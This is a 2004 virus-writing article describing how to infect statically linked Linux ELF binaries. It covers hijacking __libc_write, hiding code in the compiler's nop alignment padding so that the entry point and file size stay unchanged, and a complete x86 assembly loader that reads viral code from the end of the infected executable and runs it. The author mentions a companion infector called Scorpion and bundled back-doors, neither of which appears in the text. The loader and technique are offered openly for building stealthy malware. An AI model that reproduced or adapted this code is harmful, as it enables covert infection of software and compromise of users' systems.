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Static linked ELF infecting

Ares
March 2004

2
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Contents

1 Introduction

Creative or stealthy viral infection techniques are practically exhausted. As we've seen over the last few years, new techniques have been formulated from old ones, reworked to fit with modern ABIs. Original ideas were developed by Windows, but what examples do we have of UNIX viruses? Hijacking ELF PLT and GOT, padding, and shared object or loadable kernel module hijacking are a few examples of current technology. Well written codes in this field were published by several groups\persons, such as 29a Labs\z0mbie\sd\silvio.

In this article, I am describing my idea for infecting statically linked ELF binaries. After reading, you can find a complete infector, Scorpion, for this technique. Bundled, you will find several example back-doors.

First, a few advantages and drawbacks:

Advantages begin with symbols. No symbols are needed in this technique, and even stripped files are easily infected. Next, application entry point doesn't change once a binary has been altered. Stealth infection can be achieved by manipulating the large alignment (nop) fields found in GNU binaries. Finally, in some cases, there is no increase of binary size after successful binary infection.

Drawbacks begin with limitations. The techniques depicted in this article are limited to the particular construction of static binaries. Also, there is a restriction in the space available for injected virus code, which depends mostly on the glibc version. Since static linking isn't widespread in the wild, we can say it is useful in specialized situations, where source code is available and we are able to control the process of compilation. In that case, it is feasible to increase the available space by some special option in gcc.

2 Theory

Time to go a little deeper into the subject.. let's make some fucking noise!@#$ Since we aren't going to alter the entry point of the binary, we must find another way to get our code executed. Obviously, the virus code must reside somewhere in the text segment, itself; in some function.

This function must satisfy a few requirements. First, it must be a libc function in order to be certain it is linked to even the most minimal program. Second, it must have a valid signature that is easily detectable, such as a syscall. Finally, the function must have at least seven padding bytes, no operation opcodes, that may be reliably overwritten.

An example of this is __libc_write:

0804c1b0 <__libc_write>:
804c1b0:       53                      push   %ebx
804c1b1:       8b 54 24 10             mov    0x10(%esp,1),%edx
804c1b5:       8b 4c 24 0c             mov    0xc(%esp,1),%ecx
804c1b9:       8b 5c 24 08             mov    0x8(%esp,1),%ebx
804c1bd:       b8 04 00 00 00          mov    $0x4,%eax
804c1c2:       cd 80                   int    $0x80
804c1c4:       5b                      pop    %ebx
804c1c5:       3d 01 f0 ff ff          cmp    $0xfffff001,%eax
804c1ca:       0f 83 90 58 00 00       jae    8051a60 <__syscall_error>
804c1d0:       c3                      ret
804c1d1:       eb 0d                   jmp    804c1e0 <__libc_fcntl>
804c1d3:       90                      nop
804c1d4:       90                      nop
804c1d5:       90                      nop
804c1d6:       90                      nop
804c1d7:       90                      nop
804c1d8:       90                      nop
804c1d9:       90                      nop
804c1da:       90                      nop
804c1db:       90                      nop
804c1dc:       90                      nop
804c1dd:       90                      nop
804c1de:       90                      nop
804c1df:       90                      nop

This example, though old, depicts a signature that should be the same for any glibc. The signature consists of the setting up, and calling, of a Linux system call.

804c1b0:       53                      push   %ebx
804c1b1:       8b 54 24 10             mov    0x10(%esp,1),%edx
804c1b5:       8b 4c 24 0c             mov    0xc(%esp,1),%ecx
804c1b9:       8b 5c 24 08             mov    0x8(%esp,1),%ebx
804c1bd:       b8 04 00 00 00          mov    $0x4,%eax
804c1c2:       cd 80                   int    $0x80

Once we've found the function in a binary, our next move is to relocate __libc_write to seven bytes further down the opcode stream. This allows us to overwrite GNU's padding with the function, itself. It also gives us seven bytes prefixed to __libc_write, where we will position a call to our viral code.

	movl $address, %eax		; 5 bytes
	call *eax			; 2 bytes

With a call in place, the next step is to locate some space to put the body of our viral code. My first idea was to overwrite a rarely used function such as asnprintf, which is linked to our executable but most likely will not be used. Although, it is rather hard to determine signatures for these functions that will persist across glibc versions. So, the most optimal locale for viral code will be in the alignment fields between functions, where GNU inserts no-operation opcodes. We'll call these alignment fields 'nop fields'.

The next goal will be to tag, or track, each nop field, in order to calculate our cumulative viral space. Each field needs to be greater than, or equal to, thirteen octets in length. This is necessary because we will need to split the virus into small segments. Thus, it is necessary that each field be connected via jump instructions. Therefore, one nop field of length greater than, or equal to, thirteen octets allows us to maintain eight payload octets with a five octet jump instruction toward the next infected nop field.

Now that our method for infection has been laid out in general terms, let's break down the details for a closer look.

3 Details

The first problem faced is the lacking amount of nop fields available in very small programs. An obvious example is the typical 'hello world'.

        int
        main()
        {
                printf("hello world\n");
                return 0;
        }
 

Once compiled, there were only two hundred and thirty four octets available, which equates to eight-teen nop fields. A quick calculation determines the actual amount of payload this gives us.

TotalBytes - (TotalNopFields * SizeofJump) = TotalPayload

234 - (18 * 5) = 144;

Obviously, one hundred and forty four total payload octets is a minimal amount, and leaves much to be desired.

Another problem occurs when we consider an application that performs large amounts of writes. Each write call will execute the viral payload, substantially slowing the application as a whole. Therefore, we must somehow limit the execution of our payload.

Lastly, every program, and our virus is no exception, should manage different events. In assembly, an example would look like the following:

	cmpb $value, %reg	; comparison for fault detection
	jz $offset		; conditional jmp on fault

Imagine how this program flow would be affected if the code were to be split due to a nop field boundary. We would end up with the following:

	Nop Field #1
		[ code ... 		]
		[ code ... 		]
		[ cmpb $value, %reg 	] The original cmpb
		[ jmp $nop_field_2	] conditional jmp has been deferred

	Nop Field #2
		[ jz $offset		] Jz branches to invalid offset
		[ code ...		]
		[ code ...		]
		[ jmp $nop_field_3	]

The conditional jumps can be fixed appropriately, but the work to do it may be un-deserving of our time for our purposes.

It would take too much work to solve these problems in each payload. This is why I suggest a special loader is used. This loader will have already solved these problems and will simply execute complete viral code from the end of a file.

4 Cooking the Loader

The Loader will work based on the following process:

  1. Back up registers and stack
  2. Allocate memory
  3. Check if the payload has already been executed
  4. Load virus code from end of file
  5. Execute code
  6. Reset registers and stack
  7. Return to infected function
  8. Continue execution
/*** start of loader ***/

push %edi       		# these registers' data might persist across function boundaries
push %esi       		# therefore, they must be backed up explicitly

# enter
#
push %ebp       
movl %esp,%ebp

# mmap()
#
push $0         		# I've chosen exact addr 0x50000000 to check for executions.
push $-1        		# first time we call mmap we get that addr, each new attempt 
push $0x21      		# will return another value
push $3
push $1
push $0x50000000
push %esp
pop  %ebx
push $90
pop  %eax
int  $128

cmpl $0x50000000,%eax   	# checking

nop         			# kinda alignment, to avoid problems with jmp, 
nop				# while splitting code into parts

je next         		# if passed...
            			# if not, return stack\regs and continue function

leave
pop  %esi
pop  %edi
ret

next:
xchg %eax,%esi      		# readlink("/proc/self/exe")

push $0x6578
push $0x652f666c
push $0x65732f63
push $0x6f72702f
movl %esp,%ebx

push $85
pop  %eax
push %esi
pop  %ecx
movb $100,%dl
int  $128

xchg %ecx,%ebx

push $5         		# open()
pop  %eax
xor  %ecx,%ecx
int  $128
xchg %eax,%edi

push $106       		# stat()
pop  %eax
push %esi
pop  %ecx
int  $128

add  $20, %esi
movl (%esi),%ecx
sub  $0x26,%ecx     		# sizeof virus, automatically changing in Scorpion

push $19        		# lseek()
pop  %eax
push %edi
pop  %ebx
xor  %edx,%edx
int  $128

push $3        			# read() virus to memory
pop  %eax
push %esi
pop  %ecx
movb $0x26,%dl
int  $128

call *%esi      		# execute code

leave
pop  %esi
pop  %edi
ret

/*** end of loader ***/

Because it isn't user-land exec, we aren't able to insert viral code written in C, only pure assembly. The virus should end with leave and ret instructions for a proper return to the infected subroutine.

5 Conclusion

Im not about to describe each details, so that's all. You'll find 0x4553_Scorpion in section of codes. Thanks to north_ for fixing my english and nice conversations.

Hold on, bye...

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